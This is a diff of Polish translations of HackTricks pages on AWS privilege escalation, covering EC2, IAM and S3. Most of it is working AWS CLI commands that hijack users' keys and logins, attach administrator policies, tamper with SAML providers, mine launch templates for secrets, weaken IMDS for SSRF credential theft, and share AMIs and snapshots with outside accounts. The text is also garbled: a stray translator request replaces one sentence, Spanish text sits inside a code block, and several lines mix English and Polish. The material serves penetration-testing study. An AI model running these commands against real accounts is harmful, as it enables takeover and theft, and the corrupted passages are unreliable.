||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do EC2 IAM roles przypisanych do działających instancji.
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Atakujący posiadający uprawnienie **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać ssh key do serial connection**. Jeśli serial nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`**, aby go włączyć.
|
||||
Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli konsola szeregowa nie jest włączona, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`**, aby ją włączyć.
|
||||
|
||||
Aby połączyć się z serial port, musisz również **znać username i password użytkownika wewnątrz maszyny**.
|
||||
Aby połączyć się z portem szeregowym, trzeba również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -231,11 +231,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
Ta metoda nie jest zbyt przydatna do privesc, ponieważ do jej wykorzystania trzeba znać nazwę użytkownika i hasło.
|
||||
|
||||
**Potencjalny wpływ:** (Trudne do udowodnienia) Bezpośrednie privesc do EC2 IAM roles przypisanych do działających instancji.
|
||||
**Potencjalny wpływ:** (Trudne do udowodnienia) Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Ponieważ launch templates mają wersjonowanie, atakujący posiadający uprawnienia **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby to wykorzystać, aby odkryć wrażliwe informacje, takie jak poświadczenia obecne w user data. Aby to osiągnąć, następujący skrypt iteruje przez wszystkie wersje dostępnych launch templates:
|
||||
Ponieważ launch templates mają wersjonowanie, atakujący posiadający uprawnienia **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** może je wykorzystać do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w user data. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych launch templates:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,24 +248,29 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), możesz użyć innego wyrażenia regularnego, aby wyszukać inne typy wrażliwych informacji.
|
||||
W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), możesz użyć innego regexu, aby wyszukać inne typy wrażliwych informacji.
|
||||
|
||||
Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, możemy użyć tych poświadczeń do uwierzytelnienia w AWS.
|
||||
|
||||
**Potencjalny wpływ:** Bezpośrednia eskalacja uprawnień do użytkownika(ów) IAM.
|
||||
|
||||
## Referencje
|
||||
## Źródła
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
Atakujący, który ma możliwość wywołania `ec2:ModifyInstanceMetadataOptions` na docelowej instancji EC2, może osłabić zabezpieczenia IMDS przez włączenie IMDSv1 (`HttpTokens=optional`) oraz zwiększenie `HttpPutResponseHopLimit`. Sprawia to, że endpoint metadanych instancji staje się osiągalny przez powszechne ścieżki SSRF/proxy z aplikacji działających na instancji. Jeśli atakujący potrafi wywołać SSRF w takiej aplikacji, może pobrać instance profile credentials i pivot with them.
|
||||
Atakujący mający możliwość wywołania `ec2:ModifyInstanceMetadataOptions` na docelowej instancji EC2 może osłabić zabezpieczenia IMDS przez włączenie IMDSv1 (`HttpTokens=optional`) i zwiększenie `HttpPutResponseHopLimit`. Sprawia to, że endpoint metadanych instancji staje się osiągalny przez typowe ścieżki SSRF/proxy z aplikacji działających na instancji. Jeśli atakujący potrafi wywołać SSRF w takiej aplikacji, może pobrać poświadczenia profilu instancji i przemieścić się dalej z ich użyciem.
|
||||
|
||||
- Wymagane uprawnienia: `ec2:ModifyInstanceMetadataOptions` na docelowej instancji (oraz możliwość dotarcia/wywołania SSRF na hoście).
|
||||
- Docelowy zasób: uruchomiona instancja EC2 z dołączonym instance profile (IAM role).
|
||||
- Wymagane uprawnienia: `ec2:ModifyInstanceMetadataOptions` na docelowej instancji (plus możliwość dotarcia do/wywołania SSRF na hoście).
|
||||
- Docelowy zasób: działająca instancja EC2 z dołączonym instance profile (rolą IAM).
|
||||
|
||||
Przykład poleceń:
|
||||
Przykładowe polecenia:
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
@@ -292,5 +297,28 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Potencjalny wpływ: Kradzież instance profile credentials przez SSRF prowadząca do privilege escalation i lateral movement z uprawnieniami roli EC2.
|
||||
Potencjalny wpływ: Kradzież poświadczeń profilu instancji przez SSRF prowadząca do eskalacji uprawnień i ruchu bocznego przy użyciu uprawnień roli EC2.
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
Atakujący posiadający uprawnienie ec2:ModifyInstanceMetadataOptions może osłabić zabezpieczenia Instance Metadata Service (IMDS) — na przykład wymuszając IMDSv1 (sprawiając, że HttpTokens nie są wymagane) lub zwiększając HttpPutResponseHopLimit — ułatwiając w ten sposób eksfiltrację tymczasowych poświadczeń. Najistotniejszym wektorem ryzyka jest podniesienie HttpPutResponseHopLimit: zwiększając ten limit skoków (TTL), endpoint 169.254.169.254 przestaje być ściśle ograniczony do przestrzeni nazw sieciowych VM i może stać się osiągalny przez inne procesy/kontenery, umożliwiając kradzież poświadczeń.
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
--http-tokens optional \
|
||||
--http-endpoint enabled \
|
||||
--http-put-response-hop-limit 2
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
Atakujący posiadający uprawnienia ec2:ModifyImageAttribute i ec2:ModifySnapshotAttribute może udostępniać AMIs lub snapshots innym kontom AWS (a nawet uczynić je publicznymi), ujawniając obrazy lub wolumeny, które mogą zawierać wrażliwe dane, takie jak konfiguracje, poświadczenia, certyfikaty lub kopie zapasowe. Poprzez modyfikację AMI’s launch permissions lub snapshot’s create-volume permissions atakujący pozwala osobom trzecim na uruchamianie instances lub montowanie disks z tych zasobów i dostęp do ich zawartości.
|
||||
|
||||
Aby udostępnić AMI innemu kontu:
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
Aby udostępnić EBS snapshot innemu kontu:
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+67
-40
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Aby uzyskać więcej informacji o IAM, zobacz:
|
||||
Więcej informacji o IAM:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,40 +12,40 @@ Aby uzyskać więcej informacji o IAM, zobacz:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Umożliwia utworzenie nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Pozwala to na zdefiniowanie niestandardowych uprawnień.
|
||||
Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` dzięki użyciu flagi `--set-as-default`. Umożliwia to zdefiniowanie niestandardowych uprawnień.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Wpływ:** Pozwala bezpośrednio eskalować uprawnienia, umożliwiając dowolne działanie na dowolnym zasobie.
|
||||
**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może eskalować uprawnienia, jeśli nowa wersja ma więcej uprawnień.
|
||||
Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
|
||||
|
||||
**Polecenie Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień przez umożliwienie przyznania dodatkowych uprawnień.
|
||||
**Impact:** Pośrednia eskalacja uprawnień przez umożliwienie uzyskania dodatkowych uprawnień.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Umożliwia utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do eskalacji uprawnień.
|
||||
Umożliwia tworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do eskalacji uprawnień.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień poprzez przejęcie rozszerzonych uprawnień innego użytkownika.
|
||||
**Wpływ:** Bezpośrednia privilege escalation poprzez przejęcie rozszerzonych uprawnień innego użytkownika.
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Pozwala na tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
|
||||
Umożliwia tworzenie lub aktualizowanie login profile, w tym ustawianie haseł do logowania w AWS console, co prowadzi do bezpośredniej privilege escalation.
|
||||
|
||||
**Exploit dla utworzenia:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
@@ -55,55 +55,55 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako „dowolny” użytkownik.
|
||||
**Wpływ:** Direct privilege escalation by logging in as "any" user.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Pozwala na ponowne włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony klucz.
|
||||
Pozwala na włączenie wyłączonego access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.
|
||||
|
||||
**Exploit:**
|
||||
**Eksploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez ponowne aktywowanie access keys.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez reaktywację access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Umożliwia wygenerowanie lub zresetowanie credentials dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), które dziedziczą uprawnienia powiązanego użytkownika.
|
||||
Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**Exploit dla resetu:**
|
||||
**Exploit dla Reset:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień w obrębie uprawnień usługi użytkownika.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień w ramach uprawnień serwisowych użytkownika.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Pozwala dołączać polityki do użytkowników lub grup, co bezpośrednio eskaluje uprawnienia poprzez dziedziczenie uprawnień z dołączonej polityki.
|
||||
Pozwala dołączać polityki do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.
|
||||
|
||||
**Eksploit dla użytkownika:**
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Eksploit dla grupy:**
|
||||
**Exploit dla Group:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje ta polityka.
|
||||
**Impact:** Direct privilege escalation do wszystkiego, co polityka przyznaje.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez nadanie dodatkowych uprawnień.
|
||||
Pozwala na przypisywanie polityk do ról, użytkowników lub grup, umożliwiając Direct privilege escalation przez przyznanie dodatkowych uprawnień.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Eksploit dla Inline Policies:**
|
||||
**Exploit dla Inline Policies:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Możesz użyć polityki takiej jak:
|
||||
Proszę wklej treść pliku README.md (albo wskaż fragment), który chcesz przetłumaczyć na polski. Zachowam dokładnie wszystkie tagi, linki, ścieżki, kod i składnię markdown/html.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -127,28 +127,28 @@ Możesz użyć polityki takiej jak:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez dodanie uprawnień za pomocą polityk.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez dodawanie uprawnień w politykach.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Pozwala na dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.
|
||||
Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia przez dziedziczenie uprawnień grupy.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień do poziomu przypisanego grupie.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Pozwala na zmianę dokumentu assume role policy roli, co umożliwia przejęcie tej roli oraz powiązanych z nią uprawnień.
|
||||
Pozwala na modyfikację dokumentu polityki assume role danej roli, umożliwiając przyjęcie roli i uzyskanie przypisanych do niej uprawnień.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia roli:
|
||||
Gdy polityka wygląda następująco, daje użytkownikowi uprawnienie do przyjęcia roli:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,11 +163,11 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyj
|
||||
]
|
||||
}
|
||||
```
|
||||
**Wpływ:** Direct privilege escalation by assuming any role's permissions.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Pozwala na przesłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do potencjalnej pośredniej privilege escalation.
|
||||
Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień przez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
|
||||
**Impact:** Pośrednia eskalacja uprawnień przez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Pozwala na ponowne zsynchronizowanie urządzenia MFA, co potencjalnie prowadzi do pośredniej eskalacji uprawnień poprzez manipulację ochroną MFA.
|
||||
Pozwala na ponowne zsynchronizowanie urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA.
|
||||
|
||||
**Bash Command:**
|
||||
**Polecenie Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** Niebezpośrednia eskalacja uprawnień przez dodawanie lub manipulowanie urządzeniami MFA.
|
||||
**Impact:** Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Z tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, by **zalogować się** dowolną **rolą, która jej ufa**.
|
||||
Dysponując tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** z dowolnym **role that is trusting** it.
|
||||
|
||||
Zauważ, że po wykonaniu tego **uprawnieni użytkownicy nie będą mogli się zalogować**. Jednak możesz pobrać XML, wstawić swój, zalogować się i przywrócić poprzednią konfigurację.
|
||||
Zauważ, że wykonanie tego spowoduje, że **legit users won't be able to login**. Jednak możesz pobrać XML, więc możesz podmienić go na swój, **login** i ponownie skonfigurować poprzednie ustawienia.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Narzędzie zdolne wygenerować metadane SAML i zalogować się przy użyciu określonej roli
|
||||
> TODO: Narzędzie zdolne wygenerować metadane SAML i zalogować się z określoną rolą
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, co pozwoliłoby mu zalogować się do wszystkich ról ufających temu dostawcy.
|
||||
(Niepewne) Jeśli atakujący ma te **permissions**, może dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających dostawcy.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,9 +226,36 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia poprzez umożliwienie wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia.
|
||||
To uprawnienie pozwala atakującemu zaktualizować granicę uprawnień użytkownika, co może doprowadzić do eskalacji uprawnień i umożliwić wykonywanie działań normalnie ograniczonych przez bieżące uprawnienia.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
|
||||
|
||||
## Referencje
|
||||
Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
|
||||
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BoundaryAllowAll",
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Aktor posiadający iam:PutRolePermissionsBoundary może ustawić granicę uprawnień (permissions boundary) na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli załączy zbyt liberalną granicę — de facto rozszerzyć możliwości roli i eskalować uprawnienia.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## Źródła
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
+37
-17
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
Atakujący posiadający te uprawnienia do interesujących bucketów może być w stanie hijack resources and escalate privileges.
|
||||
Attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges.
|
||||
|
||||
Na przykład, atakujący posiadający te **uprawnienia do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie hijack the deployment. Dostęp można przyznać za pomocą następującej polityki:
|
||||
For example, attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,29 +34,29 @@ Na przykład, atakujący posiadający te **uprawnienia do bucketu cloudformation
|
||||
]
|
||||
}
|
||||
```
|
||||
I przejęcie jest możliwe, ponieważ istnieje **małe okno czasowe od momentu przesłania template'a** do bucketu do momentu, w którym **template jest wdrażany**. Atakujący może po prostu utworzyć **lambda function** w swoim koncie, która **uruchomi się, gdy zostanie wysłane powiadomienie z bucketu**, i **przejmie** **zawartość** tego **bucketu**.
|
||||
I hijack jest możliwe, ponieważ istnieje **małe okno czasowe od momentu przesłania template do bucket** do momentu, gdy **template zostanie wdrożony**. Atakujący może po prostu utworzyć **lambda function** w swoim koncie, która **trigger when a bucket notification is sent**, i **hijacks** **content** tego **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
Moduł Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) może być użyty do zautomatyzowania tego ataku.\
|
||||
Na więcej informacji sprawdź oryginalne badanie: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) może być użyty do zautomatyzowania tego ataku.\
|
||||
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
To uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa S3 do przechowywania **plików konfiguracyjnych**.\
|
||||
Atakujący z **dostępem do odczytu** może znaleźć na nich **poufne informacje**.\
|
||||
Atakujący z **dostępem do zapisu** mógłby **zmodyfikować dane, by nadużyć jakąś usługę i spróbować eskalować uprawnienia**.\
|
||||
Są to uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa S3 do przechowywania **plików konfiguracyjnych**.\
|
||||
Atakujący z **read access** do nich może znaleźć **sensitive information**.\
|
||||
Atakujący z **write access** do nich może **zmodyfikować dane, by wykorzystać jakąś usługę i spróbować eskalacji uprawnień**.\
|
||||
Oto kilka przykładów:
|
||||
|
||||
- Jeśli instancja EC2 przechowuje **user data w S3 bucket**, atakujący mógłby to zmodyfikować, by **wykonać dowolny kod wewnątrz instancji EC2**.
|
||||
- Jeśli instancja EC2 przechowuje **user data in a S3 bucket**, atakujący mógłby to zmodyfikować, aby **execute arbitrary code inside the EC2 instance**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
Bardzo często pliki stanu terraform są zapisywane w blob storage dostawców chmury, np. AWS S3. Sufiks pliku stanu to `.tfstate`, a nazwy bucketów często zdradzają, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma taki bucket do przechowywania plików stanu pokazujących stan konta. Również w rzeczywistych kontach niemal zawsze wszyscy developerzy mają `s3:*`, a czasami nawet użytkownicy biznesowi mają `s3:Put*`.
|
||||
Bardzo często pliki stanu [terraform] są zapisywane w blob storage dostawców chmurowych, np. AWS S3. Sufiks pliku stanu to `.tfstate`, a nazwy bucketów często zdradzają, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma taki bucket do przechowywania plików stanu pokazujących stan konta. Również w rzeczywistych kontach niemal zawsze wszyscy developerzy mają `s3:*`, a czasem nawet użytkownicy biznesowi mają `s3:Put*`.
|
||||
|
||||
Więc jeśli masz wymienione uprawnienia do tych plików, istnieje wektor ataku pozwalający uzyskać RCE w pipeline z uprawnieniami `terraform` — najczęściej `AdministratorAccess`, co czyni cię administratorem konta w chmurze. Możesz też użyć tego wektora do przeprowadzenia ataku DoS, zmuszając `terraform` do usunięcia prawidłowych zasobów.
|
||||
Zatem, jeśli masz wymienione uprawnienia do tych plików, istnieje wektor ataku pozwalający uzyskać RCE w pipeline z uprawnieniami `terraform` — zazwyczaj `AdministratorAccess`, co czyni cię administratorem konta chmurowego. Możesz też użyć tego wektora do przeprowadzenia ataku typu denial of service, powodując, że `terraform` usunie prawidłowe zasoby.
|
||||
|
||||
Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* strony *Terraform Security* dla bezpośrednio użytecznego kodu exploit:
|
||||
Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* strony *Terraform Security* po bezpośrednio użyteczny kod exploitów:
|
||||
|
||||
{{#ref}}
|
||||
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
|
||||
@@ -64,7 +64,7 @@ Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* strony *Terr
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Atakujący, który musi pochodzić **z tego samego konta** — w przeciwnym razie wywołany zostanie błąd `The specified method is not allowed` — z tym uprawnieniem będzie w stanie nadać sobie więcej uprawnień do bucketu(ów), pozwalających mu czytać, zapisywać, modyfikować, usuwać i ujawniać buckety.
|
||||
Atakujący, który musi być **from the same account** — w przeciwnym razie zostanie wywołany błąd `The specified method is not allowed will trigger` — z tym uprawnieniem będzie w stanie przyznać sobie więcej uprawnień do bucket(s), pozwalając mu na odczyt, zapis, modyfikację, usuwanie i ujawnianie bucketów.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -122,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
